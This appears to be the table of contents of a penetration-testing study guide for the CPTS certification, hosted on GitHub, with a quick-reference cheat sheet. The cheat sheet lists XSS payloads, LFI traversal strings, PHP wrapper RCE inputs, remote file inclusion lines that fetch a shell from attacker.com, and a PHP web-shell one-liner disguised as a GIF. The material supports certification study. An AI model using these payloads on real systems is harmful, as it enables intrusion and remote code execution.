Skip to content

SUMMARY.md

Latest commit

 

History

History
406 lines (353 loc) · 25.9 KB

SUMMARY.md

File metadata and controls

406 lines (353 loc) · 25.9 KB

Summary

🎯 CPTS Preparation Guide

📋 Information Gathering

🌐 Infrastructure Enumeration

🛡️ Network Security

🎯 Assessment Methodologies

🕷️ Web Application Information Gathering

🌐 Web Application Attacks

🗄️ Database Services

📁 Network Services

⚔️ Attacking Common Services

🌐 Attacking Common Applications

🌐 Content Management Systems (CMS)

⚙️ Development & Build Tools

📊 Infrastructure & Monitoring

🎫 Customer Service & Management

🔌 Web Interfaces & Gateways

🔍 Specialized Applications

🔀 Pivoting, Tunneling & Port Forwarding

🏰 Active Directory Enumeration & Attacks

🖥️ Remote Management Protocols

🔧 Shells & Payloads

🐚 Shell Fundamentals

🐧 Platform-Specific Shells

🌐 Web Shells

📁 File Transfer Methods

🪟 Windows Privilege Escalation

🐧 Linux Privilege Escalation

📋 Documentation & Reporting

  • 📝 Notetaking & Organization
  • 📊 Types of Reports
  • 📋 Components of a Report
  • 🔍 How to Write Up a Finding
  • 🛠️ Reporting Tips and Tricks
  • 📁 HTB Academy Example
    • [📋 Administrative Information](documentation-reporting/HTB_Academy_EXAMPLE/Inlanefreight Penetration Test/Evidence/Notes/1. Administrative Information.md)
    • [🎯 Attack Path Documentation](documentation-reporting/HTB_Academy_EXAMPLE/Inlanefreight Penetration Test/Evidence/Notes/11. Attack Path.md)
    • [🔐 Credentials Tracking](documentation-reporting/HTB_Academy_EXAMPLE/Inlanefreight Penetration Test/Evidence/Notes/6. Credentials.md)
    • [📊 Findings Summary](documentation-reporting/HTB_Academy_EXAMPLE/Inlanefreight Penetration Test/Evidence/Notes/12. Findings.md)
    • [🔴 Example High Finding - Kerberoasting](documentation-reporting/HTB_Academy_EXAMPLE/Inlanefreight Penetration Test/Evidence/Findings/H1 - Kerberoasting.md)
    • [🟡 Example Medium Finding - File Shares](documentation-reporting/HTB_Academy_EXAMPLE/Inlanefreight Penetration Test/Evidence/Findings/M1 - Insecure File Shares.md)

🌐 Attacking Enterprise Networks

🔐 Password Attacks

📋 Complete Assessment Workflows

🎯 Active Directory Attacks

🪟 Windows Password Attacks

🐧 Linux Password Attacks

🔨 Hash Cracking

🌐 Network Service Attacks

⚔️ Windows Lateral Movement

📖 Quick Reference

🕷️ Web Application Information Gathering

  • DNS Tools - dig, dnsenum, amass, puredns for subdomain discovery
  • Web Enumeration - gobuster, ffuf, whatweb for content discovery
  • CMS Tools - wpscan, joomscan, droopescan for specific platforms
  • Parameter Discovery - arjun, paramspider, ffuf for hidden parameters

🌐 Web Application Attacks

  • XSS Types - Stored (persistent), Reflected (non-persistent), DOM-based (client-side)
  • XSS Tools - XSStrike, BruteXSS, Burp Suite, OWASP ZAP
  • Basic Payloads - <script>alert(1)</script>, <img src=x onerror=alert(1)>
  • Cookie Stealing - <script>alert(document.cookie)</script>
  • LFI Techniques - Path Traversal (../../../etc/passwd), PHP Wrappers (php://filter)
  • LFI Bypasses - Non-recursive (....//), URL encoding (%2e%2e%2f), Approved paths (./languages/../../../)
  • PHP Filters - Source code disclosure (php://filter/read=convert.base64-encode/resource=config)
  • PHP Fuzzing - ffuf -u http://target.com/FUZZ.php, common files (config.php, database.php)
  • PHP Wrappers RCE - Data (data://text/plain;base64,BASE64), Input (php://input + POST), Expect (expect://id)
  • RCE Requirements - allow_url_include = On (data/input), expect extension (expect wrapper)
  • Remote File Inclusion (RFI) - HTTP (http://attacker.com/shell.php), FTP (ftp://attacker.com/shell.php), SMB (\\attacker.com\share\shell.php)
  • RFI Servers - Python HTTP (python3 -m http.server 80), FTP (python3 -m pyftpdlib -p 21), SMB (impacket-smbserver)
  • File Upload + LFI - Malicious images (GIF8<?php system($_GET["cmd"]); ?>), Zip (zip://file.jpg#shell.php), Phar (phar://file.jpg/shell.txt)
  • Upload Paths - /uploads/, /profile_images/, /assets/images/, path discovery via source inspection
  • Log Poisoning - Session (/var/lib/php/sessions/sess_ID), Apache (/var/log/apache2/access.log + User-Agent), SSH (/var/log/auth.log)
  • Process Poisoning - /proc/self/environ, /proc/self/fd/N via User-Agent header injection
  • Automated Scanning - Parameter fuzzing (ffuf + burp-parameter-names.txt), LFI wordlists (LFI-Jhaddix.txt), Server discovery
  • LFI Tools - liffy, LFISuite, dotdotpwn, kadimus, custom automation scripts
  • File Inclusion Module - 9 specialized guides: Basic LFI → Advanced Bypasses → PHP Wrappers → RFI → File Upload → Log Poisoning → Automated Tools → Prevention → Skills Assessment
  • LFI Techniques - Path traversal, PHP filters (base64-encode), Wrapper RCE (data://, php://input, expect://)
  • RFI Protocols - HTTP, FTP, SMB remote file inclusion for direct RCE
  • Log Poisoning - Session, Apache, SSH, Mail, FTP log contamination for RCE
  • PHP Security - disable_functions, open_basedir, allow_url_include=Off, Container isolation
  • Skills Assessment - Multi-technique chain: PHP filters → Hidden admin → LFI → Log poisoning → RCE → Flag extraction

🔧 Database Enumeration

  • MySQL - Port 3306, default credentials, SQL injection
  • MSSQL - Port 1433, Windows authentication, xp_cmdshell
  • Oracle TNS - Port 1521, SID enumeration, privilege escalation

🌐 Network Service Enumeration

  • FTP - Port 21, anonymous access, file upload/download
  • SMB - Ports 139/445, share enumeration, EternalBlue (CVE-2017-0144)
  • NFS - Port 2049, share mounting, UID/GID manipulation
  • SMTP - Port 25, user enumeration, open relay testing
  • IMAP/POP3 - Ports 143/993/110/995, certificate analysis
  • SNMP - Port 161, community strings, OID enumeration
  • IPMI - Port 623, hash extraction, cipher zero vulnerability

🔐 Remote Access Protocols

  • SSH - Port 22, key-based authentication, tunneling
  • RDP - Port 3389, BlueKeep vulnerability, certificate analysis
  • WinRM - Ports 5985/5986, PowerShell remoting, authentication bypass
  • WMI - Port 135, remote queries, persistence mechanisms

🎯 HTB Academy Modules

✅ Completed

  • Firewall and IDS/IPS Evasion
  • Footprinting
  • Host-Based Enumeration
  • Web Application Information Gathering
  • Attacking Common Services (Complete - 7 documents, 4,262 lines)
  • Attacking Common Applications (Complete - 22 documents covering CMS, Development Tools, Infrastructure Monitoring, and Specialized Applications)
  • Cross-Site Scripting (XSS) (Complete - HTB Academy guide with all XSS types and techniques)
  • File Inclusion (Complete - HTB Academy module with 9 specialized guides: Basic LFI, Advanced Bypasses, PHP Wrappers RCE, RFI, File Upload + LFI, Log Poisoning, Automated Scanning, Prevention & Hardening, Skills Assessment)
  • File Upload Attacks (Complete - 9 specialized guides covering all upload attack vectors and bypass techniques)
  • Command Injection (Complete - 10 comprehensive sections with detection, exploitation, and advanced evasion techniques)
  • Web Attacks (Complete - HTTP Verb Tampering, IDOR, XXE Injection with Skills Assessment)
  • Pivoting, Tunneling & Port Forwarding (Complete - 14 specialized guides covering all tunneling protocols and techniques)
  • Active Directory Enumeration & Attacks (Complete - 25 comprehensive guides covering all AD attack vectors and lateral movement)

🔄 In Progress

  • Vulnerability Assessment
  • Password Attacks

📅 Planned

  • SQL Injection (Advanced)
  • Network Enumeration
  • Privilege Escalation
  • Lateral Movement
  • Post-Exploitation